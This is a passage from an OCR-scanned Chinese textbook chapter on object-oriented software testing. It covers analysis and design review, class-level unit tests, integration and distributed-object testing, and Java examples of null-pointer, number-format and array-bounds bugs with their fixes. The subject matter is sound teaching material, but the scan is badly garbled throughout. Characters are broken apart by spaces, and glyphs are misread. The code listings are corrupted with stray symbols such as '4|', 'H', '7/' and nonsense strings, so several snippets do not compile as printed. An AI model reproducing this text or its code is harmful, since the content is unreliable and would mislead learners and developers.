主要 从 以 下 3 个 方面 去 展开 ， 

，。 对 认定 对 象 的 测试 。 

，。 对 认定 结构 的 测试 。 

，。 对 构造 的 类 层次 结构 的 测试 。 

L 对 认定 对 象 的 测试 

OOA( 面 向 对 象 分 析 测试 ) 中 认定 的 对 象 是 对 问题 空间 中 的 结构 .其他 系统 .设备 、 被 记 
忆 的 事件 .系统 涉及 的 人 员 等 实际 实例 的 抽象 。 对 它 的 测试 可 以 从 如 下 方面 考虑 : 

， 认定 的 对 象 是 否 全 面 ,其 名 称 应 该 尽量 准确 ,适用 ,是 否 问题 空间 中 所 涉及 的 实例 都 
反映 在 认定 的 抽象 对 象 中 。 
认定 的 对 象 是 否 具有 多 个 属性 。 只 有 一 个 属性 的 对 象 通常 应 看 作 其 他 对 象 的 属性 
而 不 是 抽象 为 独立 的 对 象 
对 认定 为 同一 对 象 的 实例 是 否 有 共同 的 .区 别 于 其 他 实例 的 共同 属性 ,是 否 提供 或 
需要 相同 的 服务 ,如 果 服 务 随 着 不 同 的 实例 而 变化 ,认定 的 对 象 就 需要 分 解 或 利用 
继承 性 来 分 类 表示 。 
如 果 系统 没有 必要 始终 保持 对 象 代表 的 实例 信息 ,提供 或 者 得 到 关于 它 的 服务 , 认 
定 的 对 象 也 无 必要 。 

2。 对 认定 结构 的 测试 

认定 的 结构 指 的 是 多 种 对 象 的 组 织 方式 .用 来 反映 问题 空间 中 的 复杂 实例 和 复杂 关系 。 
认定 的 结构 分 为 两 种 ， 分 类 结构 和 组 装 结构 。 分 类 结构 体现 了 问题 空间 中 实例 的 一 般 与 特 
殊 的 关系 ; 组 装 结 构 体现 了 问题 空间 中 实例 整体 与 局 部 的 关系 。 

CD 认定 的 分 类 结构 测试 要 点 ， 

对 于 结构 中 的 一 种 对 象 ,尤其 是 处 于 高 层 的 对 象 ,是 否 在 问题 空间 中 含有 不 同 于 下 

一 层 对 象 的 特殊 可 能 性 , 即 是 否 能 派生 出 下 一 层 对 象 


对 于 结构 中 的 一 种 对 象 ,尤其 是 处 于 同一 低层 的 对 象 ,是 否 能 抽象 出 在 现实 中 有 意 
义 的 更 一 般 的 上 层 对 象 。 
对 所 有 认定 的 对 象 ,是 否 能 在 问题 空间 内 向 上 层 抽 象 出 在 现实 中 有 意义 的 对 象 。 
高 层 对 象 的 特性 是 否 完全 体现 下 层 的 共性 ,低层 的 对 象 是 否 有 高 层 特性 基础 上 的 特 
殊 性 。 
(2) 认定 的 组 装 结构 的 测试 要 点 : 
整体 (对 象 ) 和 部 件 ( 对 象 ) 是 否 在 考虑 的 问题 空间 中 有 实际 应 用 ,其 组 装 关系 是 否 符 
合 现实 的 关系 。 
。 整体 (对 象 ) 中 是 否 遗 漏 了 反映 在 问题 空间 中 的 有 用 部 件 ( 对 象 ) 。 
部 件 ( 对 象 ) 是 否 能 够 在 空间 中 组 装 新 的 有 现实 意义 的 整体 (对 象 ) 。 

3. 对 构造 的 类 层次 结构 的 测试 

为 了 能 充分 发 挥 面 向 对 象 继承 共享 特性 ,OOD( 面 向 对 象 设计 测试 ) 的 类 层次 结构 通常 
基于 OOA 中 产生 的 分 类 结构 原则 来 组 织 , 着 重 体 现 父 类 和 子 类 间 的 一 般 性 和 特殊 性 。 在 
当前 的 问题 空间 ,对 类 层次 结构 的 主要 要 求 是 能 了 解 空间 构造 实现 全 部 功能 的 结构 框架 。 
为 此 测试 要 注意 如 下 几 个 方面 ; 

© 类 层次 结构 是 否 涵盖 了 所 有 定义 的 类 。 

。 是否 能 体现 OOA 中 所 定义 的 实例 关联 消息 关联 。 

。 子 类 是 否 具有 父 类 没有 的 新 特性 。 

。 子 类 间 的 共同 特性 是 否 完 全 在 父 类 中 得 以 体现 。 


8.2 面向 对 象 的 单元 测试 


尽管 许多 常用 的 面向 对 象 软件 的 测试 方法 和 技巧 与 过 程 软件 相同 ,或 者 可 以 从 传统 的 
测试 方法 和 技巧 中 演化 出 来 ,但 实践 和 研究 表明 它们 之 间 还 是 存在 许多 的 不 同 ,面向 对 象 的 
软件 测试 要 面 对 许多 新 的 挑战 ,如 面向 对 象 的 编程 语言 中 继承 性 和 多 态 性 对 测试 者 来 说 就 
是 一 个 新 的 技术 难点 。 与 此 同时 ,作为 增 量 开发 过 程 的 一 部 分 ,设计 良好 的 面向 对 象 软件 为 
改善 传统 测试 过 程 提供 了 机 遇 , 可 以 提高 软件 的 可 维护 性 、 复 用 性 和 灵活 性 等 。 

面向 对 象 的 单元 测试 通常 是 对 一 个 类 或 一 个 类 族 的 测试 ,因为 类 是 面向 对 象 软件 的 基 
本 单位 ,不 过 对 于 类 族 的 测试 既 有 单元 测试 部 分 也 有 集成 测试 部 分 ,对 于 类 族 的 单元 测试 可 
以 看 作 是 对 类 族 中 的 各 个 方法 的 测试 。 


8.2.1 方法 层次 的 测试 

一 般 不 会 对 类 的 每 个 成 员 及 方法 进行 测试 ,例如 ,一 般 不 会 针对 成 员 变量 的 定义 进行 单 
元 测试 ,一 般 也 不 需要 对 get/set 方法 进行 单独 测试 ,但 对 于 核心 或 重要 的 方法 需要 进行 全 
面 的 单元 测试 。 对 单个 方法 的 测试 类 似 于 对 传统 软件 的 单个 函数 的 测试 ,许多 相关 的 测试 
技术 (如 逻辑 覆盖 .路径 覆盖 等 ) 都 可 以 用 在 这 里 。 
8.2.2 类 层次 的 测试 


类 测试 ,要 验证 类 的 实现 是 否 和 该 类 的 说 明 完 全 一 致 。 如 果 类 的 实现 正确 ,那么 类 的 每 


一 个 实例 的 行为 也 应 该 是 正确 的 。 

1. 类 测试 的 方法 

通过 代码 检查 或 执行 测试 用 例 能 有 效 地 测试 一 个 类 的 代码 。 在 某 些 情况 下 ,用 代码 检 
查 代 替 基 于 执行 的 测试 方法 是 可 行 的 。 但 是 和 基于 执行 的 测试 方法 相 比 ,代码 检查 易 受 人 
为 错误 的 影响 ,而 且 在 新 产品 开发 时 明显 需要 更 多 的 工作 量 。 尽 管 基 于 执行 的 测试 方法 克 
服 了 这 些 缺 点 ,但 设计 测试 .开发 测试 驱动 程序 也 需要 很 大 的 工作 量 。 在 某 些 情况 下 ,为 某 
个 类 构造 一 个 测试 驱动 程序 所 需要 的 工作 量 可 能 比 开 发 这 个 类 所 需要 的 工作 量 要 大 得 多 。 
但 这 种 情况 不 是 面向 对 象 编程 独 有 的 , 当 有 许多 子 程 序 被 上 一 层次 调用 时 ,在 传统 开发 过 程 
中 ,也 会 出 现 类 似 的 情形 。 一 旦 确定 了 一 个 类 的 可 执行 测试 用 例 , 测 试 驱 动 程序 创建 一 个 或 
多 个 类 的 实例 来 运行 一 个 测试 用 例 , 就 必须 执行 测试 驱动 程序 来 运行 每 个 测试 用 例 , 并 给 出 
每 个 测试 用 例 运行 的 结果 。 

2. 构建 测试 用 例 

首先 看 怎样 从 类 说 明 中 确定 测试 用 例 , 然 后 根据 类 实现 引进 的 边界 值 来 扩充 附加 的 测 
试用 例 。 类 说 明 通 常 可 以 用 多 种 方式 进行 描述 ,如 自然 语言 和 状态 图 等 ,假如 要 测试 类 的 说 
明 不 存在 ,那么 就 可 通过 “逆向 工程 法 ”产生 一 个 说 明 , 并 在 开始 测试 之 前 让 开发 人 员 对 之 进 
行 检 查 。 

根据 前 置 条 件 和 后 置 条 件 来 构建 测试 用 例 的 总 体 思想 是 : 为 所 有 可 能 出 现 的 组 合 情 况 
确定 测试 用 例 需求 。 在 这 些 可 能 出 现 的 组 合 情 况 下 ,可 以 满足 前 置 条 件 ,也 能 够 达到 后 置 条 
件 。 接 下 来 ,创建 测试 用 例 来 表达 这 些 需 求 ,根据 这 些 需 求 还 可 以 创建 拥有 特定 输入 值 ( 包 
括 常 见 值 和 边界 值 ) 的 测试 用 例 ,并 确定 它们 的 正确 输出 。 最 后 ,还 可 以 增加 测试 用 例 来 曾 
述 违反 前 置 条 件 所 发 生 的 情况 。 

3. Tester 类 的 设计 举例 

类 接口 的 主要 组 成 部 分 是 建立 测试 用 例 的 操作 、 分 析 测试 用 例 结果 的 操作 ,执行 测试 用 
例 的 操作 和 创建 用 于 运行 测试 用 例 的 输出 实例 的 操作 。 下 面 的 例子 就 提供 了 一 些 操作 来 帮 
助 给 出 测试 用 例 的 结果 ,来 说 明 一 个 具体 的 Tester 类 的 主要 任务 就 是 运行 测试 用 例 和 给 出 
结果 。 

在 具体 的 Tester 类 中 ,为 每 一 个 测试 用 例 定义 了 一 个 方法 , 称 为 测试 用 例 方法 。 测 试 
用 例 方法 的 任务 是 为 某 个 用 例 构 建 输入 状态 、 生 成 事件 序列 并 检查 输出 状态 来 执行 测试 用 
例 。 例 如 ,通过 将 一 个 输出 和 作为 参数 传递 的 对 象 实例 化 ,然后 生成 测试 用 例 指定 的 事件 。 
这 些 方法 还 为 测试 计划 提供 了 可 跟踪 性 一 一 每 一 个 测试 用 例 或 每 一 组 紧密 联系 的 测试 用 例 
都 有 一 个 方法 。 图 8-2 显示 了 一 个 满足 了 这 些 需求 的 Tester 类 的 模型 。 


8.2.3 类 树 层 次 的 测试 

由 于 继承 与 多 态 的 使 用 ,对 于 类 的 测试 通常 不 能 限定 在 子 类 中 定义 的 成 员 变量 和 成 员 
方法 上 ,还 需要 考虑 父 类 对 子 类 的 影响 。 

1. 多 态 服务 测试 


一 般 而 言 , 子 类 对 父 类 中 的 多 态 方法 的 覆盖 应 该 保持 父 类 对 该 方法 的 定义 说 明 。 多 态 
服务 测试 就 是 为 了 测试 子 类 中 多 态 方法 的 实现 是 否 保持 了 父 类 对 该 方法 的 要 求 。 假 设 已 存 


Tester 
#enum Result{Fail, TBD, Pass} 一 一 一 一 一 一 | 对 象 


+Tester(logFileName: String) ry 
+~Tester() 


+runAllSuites() 
+runFunctionalSuite() 
+runStructuralSuite() 
+runinteractionSuite() 


+totalTally(): int 
+passTally(): int 
+failTally(): int 

+TBDTally(): int 


#runBaselineSuite(): Boolean 
#CUTinvariantHolds(): Boolean 


#logTestCaseStart(testID: String) 
#logTestCaseResult(result: Result) 
#logComment(comment: String) 


图 8-2 Tester 类 需求 的 一 个 类 模型 


在 父 类 的 一 个 测试 用 例 集 , 在 对 子 类 的 测试 时 ,可 以 选取 其 中 涉及 相关 多 态 方法 的 测试 用 
例 ,并 把 子 类 的 实例 当 作 父 类 的 实例 来 执行 这 些 测 试用 例 。 
2. 展 平 测 试 


在 最 复杂 的 情况 下 ,对 于 子 类 的 测试 可 能 只 能 采用 展 平 测试 的 策略 。 所 谓 展 平 测试 是 
指 将 子 类 自身 定义 的 成 员 方 法 与 成 员 变 量 以 及 从 父 类 继承 来 的 成 员 方 法 与 成 员 变 量 全 部 放 
在 一 起 组 成 一 个 新 类 (如 果 成 员 方 法 间 存 在 覆盖 关系 ,还 需要 确定 哪些 成 员 方 法 是 子 类 真正 
拥有 的 ) ,并 对 其 进行 测试 。 需 要 指出 的 是 : 展 平 后 的 类 可 能 很 大 ,测试 的 代价 也 较 高 ,此 时 
要 尽 可 能 地 减少 不 必要 的 代价 。 


8.3 面向 对 象 的 集成 测试 


面向 对 象 的 程序 是 由 若干 对 象 组 成 的 ,这 些 对 象 互 相 协作 (交互 ) 以 解决 某 些 问题 。 对 
象 的 协作 方式 决定 了 程序 能 做 什么 ,从 而 决定 了 这 个 程序 执行 的 正确 性 。 例 如 ,可 信任 的 原 
始 类 实例 可 能 不 包含 任何 错误 。 因 此 ,程序 中 对 象 的 正确 协作 对 于 程序 的 正确 性 是 非常 关 
键 的 。 

交互 测试 的 重点 是 确保 对 象 (这 些 对 象 的 类 已 被 单独 测试 过 ) 的 消息 传送 能 够 正确 进 
行 。 交 互 测试 的 执行 可 以 使 用 嵌入 到 应 用 程序 中 的 交互 对 象 ,或 者 在 独立 测试 工具 (例如 一 
个 Tester 类 ) 提 供 的 环境 中 。 


8.3.1 对 象 及 其 交互 性 测试 


对 象 交 互 只 不 过 是 一 个 对 象 (发 送 者 ) 对 另 一 个 对 象 (接收 者 ) 的 请 求 ,发 送 者 请 求 接收 
者 执行 一 个 操作 ,而 接收 者 进行 的 所 有 处 理工 作 就 是 完成 这 个 请 求 。 在 大 多 数 面向 对 象 的 
语言 中 ,对 象 交互 涵盖 了 程序 中 的 绝 大 部 分 活动 。 它 包含 了 对 象 及 其 组 件 的 消息 ,还 包含 了 


对 象 及 其 相关 的 其 他 对 象 之 间 的 消息 。 假 设 其 他 对 象 是 一 些 类 的 实例 ,这 些 类 已 经 被 独立 
测试 过 了 ,并且 它们 的 实现 已 被 证 明 是 完整 的 。 因 为 在 处 理 接收 对 象 上 任意 某 个 方法 的 调 
用 期 间 都 可 能 发 生 多 重 的 对 象 交互 ,所 以 应 考虑 这 些 对 象 交互 对 接收 对 象 内 部 状态 的 影响 ， 
还 有 对 那些 与 接收 对 象 相关 联 的 对 象 的 影响 。 

对 象 交互 的 测试 方法 , 按 原始 类 .汇集 类 和 协作 类 来 进行 讨论 。 原 始 类 的 测试 使 用 类 的 
单元 测试 方法 ,前 面 已 经 介绍 。 

1. 汇集 类 测试 

有 些 类 在 它们 的 说 明 中 使 用 对 象 ,但 是 实际 上 从 不 与 这 些 对 象 中 的 任何 一 个 进行 协作 ， 
也 就 是 说 ,它们 从 来 不 请 求 这 些 对 象 的 任何 服务 。 相 反 , 它 们 会 表现 出 以 下 的 一 个 或 多 个 
行为 : 

。 存放 这 些 对 象 的 引用 (或 指针 ) ,程序 中 常 表现 为 对 象 之 间 一 对 多 的 关系 。 

。 创建 这 些 对 象 的 实例 。 

。 删除 这 些 对 象 的 实例 。 

可 以 使 用 测试 原始 类 的 方法 来 测试 汇集 类 ,测试 驱动 程序 要 创建 一 些 实例 ,这 些 实例 作 
为 消息 中 的 参数 被 传递 给 一 个 正在 测试 的 集合 。 测 试 的 目的 主要 是 保证 那些 实例 被 正确 从 
集合 中 移出 。 有 些 测试 用 例会 说 明 集合 对 其 容量 所 做 的 限制 。 假 如 在 实际 应 用 中 可 能 要 加 
A 40 或 50 条 信息 ,那么 生成 的 测试 用 例 至 少 要 增加 50 条 信息 。 如 果 无 法 估算 出 一 个 有 代 
表 性 的 上 限 ,那么 就 使 用 集合 中 的 大 量 对 象 进行 测试 。 

2. 协作 类 测试 

凡 不 是 汇集 类 的 非 原始 类 就 是 协作 类 ,该 类 的 一 个 或 多 个 操作 中 使 用 其 他 的 对 象 并 将 
其 作为 它们 的 实现 中 不 可 缺少 的 一 部 分 。 当 类 接口 中 的 一 个 操作 的 某 个 后 置 条 件 引用 了 一 
个 对 象 的 实例 状态 ,并且 (或 者 ) 说 明 那 个 对 象 的 某 个 属性 被 使 用 或 修改 了 ,那么 这 个 类 就 是 
一 个 协作 类 。 协 作 类 测试 的 复杂 性 远 远 高 于 汇集 类 或 原始 类 的 测试 。 


8.3.2 分 布 式 对 象 测试 


为 了 获得 灵活 性 和 伸展 性 ,许多 系统 都 被 设计 成 多 个 充分 独立 的 部 件 ,每 个 部 件 可 以 存 
在 于 一 个 独立 的 进程 中 ,而 整个 系统 的 运行 会 根据 需要 启动 多 个 进程 。 如 果 这 些 进 程 不 是 
分 布 在 一 台 机 器 上 ,而 是 分 布 在 多 台 机 器 上 ,借助 于 计算 机 通信 或 网 络 实现 它们 相互 之 间 的 
协作 ,从 而 构成 一 个 分 布 式 的 系统 。 客 户 机 /服务 器 模型 是 一 种 简单 的 分 布 式 系统 ,在 这 种 
模型 中 ,客户 机 和 服务 器 部 件 被 设计 成 存在 于 独立 的 进程 中 ,服务 器 提供 数据 计算 .处 理 、 存 
储 等 管理 工作 ,客户 端 接受 用 户 的 输入 、 请 求 、 显 示 结 果 等 工作 ,两 者 分 工 不 同 。 随 着 计算 机 
技术 的 发 展 ,现在 可 以 构造 一 个 分 布 式 的 服务 器 集群 ,通过 并 行 技术 实现 复杂 的 或 巨 量 的 计 
算 ; 也 可 以 构造 没有 服务 器 的 、 分 布 式 的 、 由 客户 端 构成 的 对 等 网 络 (P2P) 系 统 。 

1. 分 布 式 对 象 的 概念 和 特点 

线程 是 一 个 操作 系统 进程 内 能 够 独立 运行 的 内 容 , 它 拥有 自己 的 计数 器 和 本 地 数据 。 
线程 是 能 够 被 调度 执行 的 最 小 单位 。 在 设计 中 ,基本 的 权衡 是 以 线程 的 数量 为 中 心 。 增 加 
线程 可 以 简化 算法 和 技术 ,但 线程 执行 的 顺序 出 现 问 题 的 机 会 更 大 。 减 少 线程 的 数量 可 以 
减少 这 种 顺序 问题 ,但 可 能 会 使 软件 更 为 刻板 而 且 通 常 效 率 会 更 低 。 


当 两 个 或 两 个 以 上 的 线程 都 必须 访问 一 个 存储 空间 时 ,就 需要 一 定 的 机 制 来 避免 两 个 
线程 相互 冲突 。 而 且 两 个 线程 可 能 会 同时 对 数据 进行 修改 。 一 些 语 言 (如 Java) 提供 了 语 
言 关键 字 来 自动 添加 避免 同时 访问 的 机 制 。 面 向 对 象 语言 通过 隐藏 接口 的 属性 或 在 某 些 情 
况 下 使 线程 对 对 象 做 出 反应 ,以 此 提供 一 些 简单 的 同步 手段 。 这 就 意味 着 在 对 象 接口 中 同 
步 是 可 见 的 (如 Java 的 synchronized 关键 字 ) ,而 传递 消息 是 同步 中 最 关键 的 一 环 。 在 这 种 
情况 下 ,类 测试 并 不 能 发 现 很 多 同步 错误 ,只 有 当 一 系列 对 象 交 互 作 用 时 才 真正 有 机 会 发 现 
错误 。 

当 软 件 包 含 多 个 并 发 进程 时 ,其 特点 是 不 确定 性 ,完全 地 重复 运行 一 个 测试 是 很 困难 
的 。 线 程 准确 地 执行 是 由 操作 系统 安排 的 ,与 系统 测试 无 关 的 程序 变化 可 能 会 影响 测试 中 
的 系统 线程 执行 顺序 。 这 就 意味 着 ,如 果 出 现 失败 ,缺陷 就 必须 被 隔离 并 修复 ,并 重新 测试 。 
不 能 因为 在 一 个 特定 执行 中 没有 发 生 错 误 就 肯定 缺陷 被 消除 了 ,必须 使 用 下 列 技术 之 一 来 
进行 测试 。 

。 在 类 的 层次 上 进行 更 彻底 的 测试 。 对 用 来 产生 分 布 式 对 象 的 类 进行 设计 检查 ,应 该 
确定 类 设计 中 是 否 提供 了 恰当 的 同步 机 制 。 动 态 类 测试 应 该 确定 在 受 控 制 的 测试 
环境 中 同步 是 否 正 常 。 

在 记录 事件 发 生 顺 序 的 同时 ,执行 大 量 的 测试 用 例 。 这 就 增 大 了 执行 所 有 顺序 的 可 

能 性 。 而 努力 想 发 现 的 问题 正 是 来 源 于 事件 执行 的 顺序 。 如 果 一 一 执行 所 有 的 顺 

序 , 就 能 找到 这 些 问题 。 

指定 标准 的 测试 环境 。 从 一 台 尽 可 能 简单 的 机 器 开始 ,包括 尽 可 能 少 的 网 络 、 调 制 

解 调 器 或 其 他 共享 设备 互 连 。 并 确定 应 用 程序 能 够 在 这 个 平台 上 运行 。 然 后 安装 

一 套 基 本 的 应 用 程序 , 它 将 一 直 在 此 机 器 上 运行 。 每 个 测试 用 例 都 应 该 描述 在 标准 

环境 下 所 做 的 任何 修改 ,还 要 包括 进程 开始 的 顺序 。 标 准 环境 下 的 程序 调试 应 允许 

测试 者 控制 线程 的 创建 、 执 行 和 删除 的 顺序 。 环 境 越 大 ,共享 和 网 络 化 的 程度 越 高 ， 

要 保持 环境 的 一 致 性 就 更 难 。 不 论 在 哪 都 应 该 有 测试 实验 室 ,并 把 测试 机 器 与 公共 

网 络 的 其 他 部 分 隔离 ,这 些 机 器 专用 于 测试 进程 。 

2. 测试 中 需要 注意 的 情况 

。 局 部 故障 。 由 于 以 分 布 式 系统 为 主 的 机 器 上 的 软件 或 硬件 可 能 出 错 , 分 布 式 系统 的 
部 分 代码 也 许 就 不 能 执行 ,而 运行 在 单一 机 器 上 的 应 用 程序 是 不 会 遇 到 这 类 问题 
的 。 局 部 出 错 的 可 能 性 使 测试 人 员 应 考虑 针对 网 络 连接 的 断 开 .失灵 或 关闭 网 络 上 
的 一 个 节点 而 发 生 故 障 的 这 类 测试 。 

。 超时 。 当 一 个 请 求 发 送 到 另 一 个 系统 时 ,网 络 系统 通过 设置 定时 器 来 避免 死 锁 。 如 
果 在 指定 的 时 间 内 没有 得 到 任何 的 回应 ,系统 就 放弃 这 个 请 求 。 这 可 能 是 由 于 系统 
的 死 锁 ,或 是 网 络 上 的 机 器 太 忙 以 致 反应 的 时 间 比 规定 的 时 间 要 长 。 当 出 现 请 求 被 
回答 或 未 被 回答 时 ,软件 应 该 能 够 做 出 正确 的 反应 。 当 然 在 这 两 种 情况 下 ,反应 是 
不 同 的 。 在 网 络 机 器 上 运行 测试 时 ,测试 必须 加 载 多 种 配置 。 

。 结构 的 动态 性 。 分 布 式 系统 通常 具有 依靠 多 种 机 器 的 加 载 来 改变 自身 配置 的 能 力 ， 
比如 特定 请 求 的 动态 定向 。 系 统 的 设计 要 允许 多 种 机 器 参与 进来 ,而 且 系 统 也 需要 
根据 大 量 的 配置 来 重复 测试 。 如 果 存 在 一 组 大 量 配 置 ,对 这 些 配 置 进行 全 部 测试 是 
可 行 的 。 另 外 ,可 以 采用 正 交 试验 法 来 优化 各 种 配置 的 组 合 ,完成 测试 。 


8.4 基于 客户 角度 的 Java 测试 


前 面 介 绍 了 面向 对 象 软件 的 单元 测试 与 集成 测试 方法 ,本 节 将 介绍 从 客户 角度 如 何 对 
Java 软件 进行 更 深入 的 测试 ,对 常 出 现 问题 的 场景 以 及 对 应 的 代码 进行 分 析 , 进 一 步 扩大 
测试 的 视野 ,帮助 测试 人 员 在 测试 过 程 中 快速 发 现 常见 的 错误 、 了 解 哪 些 地 方 需要 更 多 的 关 
注 和 测试 等 。 


8.4.1 空 指针 保护 


空 指针 保护 (Null Pointer Exception) 的 错误 应 该 说 是 Java EE 软件 中 最 常见 的 一 类 错 
误 , 可 通过 合理 的 编码 规则 以 及 开发 者 对 此 类 问题 的 理解 程度 ,还 有 足够 高 的 测试 覆盖 率 来 

1. 测试 场景 

某 站 点 通过 用 户 输入 的 用 户 名 与 密码 来 判断 是 管理 员 页 面 、 站 点 普通 用 户 页 面 ,还 是 匿 
名 访问 的 用 户 页 面 。 不 同 的 人 访问 页 面 的 权限 与 页 面 上 的 元 素 都 是 不 尽 相同 的 。 管 理 员 有 
管理 普通 用 户 的 功能 ,以 及 站 点 的 其 他 管理 类 操作 ; 站 点 普通 用 户 可 以 做 站 点 的 普通 操作 ， 
比如 说 某 些 文档 程序 只 有 注册 登录 的 合法 用 户 才能 下 载 ; 匿名 用 户 一 般 只 能 访问 一 些 公共 
的 资源 ,其 权限 一 般 是 最 小 的 。 程 序 代码 如 图 8-3 所 示 。 
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22 * 通过 用 户 0I 界 面 输入 的 用 户 名 ， 传 递 到 Action 层 ， 进 行 用 户 角色 识别 操作 
23 = 
24 * param request HttpServletRequest 
25 = 
26 * @return String 用 户 角色 , 像 管理 员 /普通 用 户 /. . . 
27 */ 
288 public String getUserRole (HttpServletRequest request) { 
29 String userRole = ""; 
30 String userName = request.getParameter ("userName"); 
31 if (userName.equals("schadmin")) 4| 
32 // 这 是 系统 初始 化 时 默认 的 管理 员 账号 ， 如 果 是 , 则 做 以 下 的 验证 操作 . . . ., . 
33 H 
34 // 丰 系统 初始 化 的 账号 , 做 以 下 验证 操作 . . - .. . 
35 return userRole; 
36 } 
图 8-3 程序 代码 举例 1 
2. 分 析 


程序 第 31 行 ,在 特定 的 Case 下 ,有 可 能 会 出 NullPoint( 空 指针 ) 错 。 比 如 匿名 用 户 访 
问 页 面 时 ,可 能 就 没有 输入 用 户 名 。 这 类 问题 看 起 来 很 简单 ,如 果 程序 开发 人 员 平时 不 注 
意 , 则 可 能 会 导致 某 些 情况 下 页 面 无 法 正常 工作 。 

3. 解决 方案 

按 正确 的 规则 来 使 用 常量 . equals( 变 量 ) ,这 样 就 可 以 省 去 以 后 的 很 多 麻烦 ,保证 了 函 
数 的 健壮 性 ,同时 也 减轻 了 因为 代码 自身 的 错误 给 测试 人 员 带 来 的 工作 量 。 正 确 的 代码 写 
法 如 图 8-4 所 示 。 


288 public String getUserRole(HttpServletRequest request) { 


29 String userRole = ""; 

30 String userName = request.getParameter ("userName") ; 

31 if ("schadmin".equals(userName)) {| 

32 _”“// 这 是 系统 初始 化 时 默认 的 管理 员 账 号 ， 如 果 是 , 则 做 以 下 的 验证 操作 . . . .. . 
33 Y 

34 7/ 非 系统 初始 化 的 账号 ,做 以 下 验证 操作 - . . - - - 

35 return userRole; 

36 } 


图 8-4 正确 的 代码 写法 


4. 要 求 

开发 人 员 在 写 代 码 时 要 遵循 规则 去 做 ,同时 经 常 review 所 做 的 代码 ,修改 不 符合 规则 
的 代码 。 测 试 人 员 也 要 积累 相关 的 经 验 ,比如 在 页 面 输入 的 地 方 不 输入 内 容 ,检查 是 否 有 合 
理 的 保护 ; 想 想 有 没有 其 他 的 Case 能 绕 过 输入 的 页 面 而 访问 其 后 继 的 页 面 ; 在 做 API 测 
试 时 ,相应 的 参数 值 被 置 空 ,检查 是 否 出 错 等 。 


8.4.2 格式 化 数字 错误 


数据 类 型 转换 错误 (Number Format Exception) 也 是 平时 测试 过 程 中 常见 的 问题 ,Java 
自身 具有 的 Integer. parseInt(…) 和 Long. parseLong(…) 方 法 在 数据 类 型 转换 时 没有 对 传 
入 参数 的 合法 性 进行 判断 。 如 果 在 代码 中 没有 对 传人 参数 做 合法 性 检查 就 直接 调用 Java 
中 的 方法 ,在 某 些 Case 下 就 会 抛 出 错误 ,致使 程序 或 页 面 无 法 正常 进行 。 

1, 测试 场景 

用 户 注册 时 要 输入 年 龄 字段 ,用 户 输入 的 参数 传人 到 Action 层 ,通过 request 
.getParameter(…) 获 得 参数 值 时 ,返回 的 是 字符 型 。 而 数据 库 中 该 字段 为 数值 型 ,所 以 需 
要 做 相应 的 数据 类 型 转换 。 程 序 代 码 如 图 8-5 所 示 。 


408 "e 
41 * 通过 用 户 输入 的 年 龄 ， 转 换 为 数值 型 


43 * @param request HttpServletRequest 

44 

45 * @return Integer 用 户 年 龄 

46 “/ 

478 public int getUserAge (HttpServletRequest request) { 
48 int age = 0; 

49 String userAge = request .getParameter("userAge") ; 
50 if (userAge != null) { 

51 age = Integer.parseInt(userAge) ;| 

52 } 

53 return age; 

54 } 


图 8-5 程序 代码 举例 2 


2. 分 析 


程序 第 51 行 ,虽然 在 50 行 已 考虑 到 了 NullPoint 的 保护 ,但 对 于 传 过 来 的 不 是 数字 没 
有 做 必要 的 保护 。 

3. 解决 方案 
因为 一 个 项 目 中 进行 数据 类 型 转换 的 地 方 很 多 ,所 以 建议 写 一 个 Util 工具 类 ,实现 一 
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59 * 对 传 入 的 字符 型 转换 为 整 型 值 
60 * 
61 * @param intStr String 
62 * @return Integer 
63 e7 
649 public static int getIntValue (String intStr) { 
65 int pareseInt = 0; 
66 if (isNumeric(intStr)) { //isNumeric¥HHAMARAES ANERE 
67 pareseInt = Integer.parseInt(intStr) ; 
68 } 
69 return pareseInt; 
70 } 
图 8-6 修正 后 的 代码 
4. 要 求 


开发 人 员 在 写 代码 时 遇 到 数值 转换 时 ,使 用 公共 的 安全 方法 (做 过 保护 的 ), 同 时 经 常 复 
审 代码 ,修改 不 符合 规则 的 代码 。 测 试 时 ,要 关注 类 似 的 问题 ,例如 在 应 输入 数字 的 地 方 输 
入 非 数字 内 容 、 边 界 值 ,特殊 符号 等 ,验证 是 否 有 异常 保护 。 
8.4.3 字符 串 或 数组 越界 错误 


字符 串 或 数组 越界 错误 (Out Of Bounds Exception) 也 是 常见 的 问题 之 一 。 

1. 测试 场景 

按 程序 约定 电话 号 码 由 如 下 4 部 分 组 成 : 国家 编码 一 区 位 号 码 一 电话 号 码 一 分 机 号 ， 
中 间 用 逗号 分 隔 , 进 行 传输 操作 与 数据 库存 取 。 假 设 系统 想 取 出 电话 号 码 值 或 分 机 号 值 ,类 
似 这 样 的 操作 经 常 因 保护 不 够 而 出 越界 错误 。 程 序 代 码 如 图 8-7 所 示 。 


108 dae 
11 * 个 设 电 话 号 码 字 串 设计 的 标准 格式 为 :国家 编码 一 区 位 号 码 一 电话 号 码 一 分 机 号 
12 * 举例 如 86,0551,2313222,8093 
13 “ 
14 * @param strPhoneNumber String 
15 * 
16 * @return String 电话 号 码 (如 :例子 中 的 2313222) 
17 ay 
189 public static String getPhoneNumber (String strPhoneNumber) { 
19 if ((strPhoneNumber == null) || "".equals(strPhoneNumber)) { 
20 return ""; 
21 } 
22 String[] arrPhone = strPhoneNumber.split(","); 
23 return arrPhone[2] :| 
24 } 
图 8-7 程序 代码 举例 3 
2. 分 析 


程序 第 23 行 ,虽然 从 表面 上 看 没有 问题 ,但 如 果 取 出 ( 传 过 ) 来 的 数据 ,本 来 就 没有 电话 
号 码 或 没有 分 机 号 , 则 会 出 字符 串 或 数组 越界 错误 。 

3. 解决 方案 

需要 做 好 字符 串 或 数组 越界 错误 保护 ,才能 供 调 用 。 建 议 代 码 如 图 8-8 所 示 。 


188 public static String getPhoneNumber (String strPhoneNumber) { 

19 if ((strPhoneNumber == null) || "".equals(strPhoneNumber)) { 
20 return ""; 

21 } 

22 String[] arrPhone = strPhoneNumber.split(","): 

23 if (arrPhone.length > 2) { 

24 return arrPhone [2]; 

25 } 

26 return ""; 

27 } 


图 8-8 修正 后 的 代码 
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在 遇 到 截取 字符 串 或 取 数组 指定 下 标 值 前 一 定 要 进行 异常 保护 。 另 外 ,Java 的 数组 下 
标 是 从 0 开始 的 。 在 测试 时 ,如 果 有 分 机 号 ,但 保留 其 为 空白 ,因为 现实 中 就 有 电话 号 码 不 
设 分 机 号 的 ; 其 他 内 容 也 可 置 为 空白 ,测试 程序 的 健壮 性 。 类 似 这 样 的 测试 案例 有 许多 , 值 
得 我 们 关注 。 


8.4.4 资源 不 合理 使 用 


1. 测试 场景 

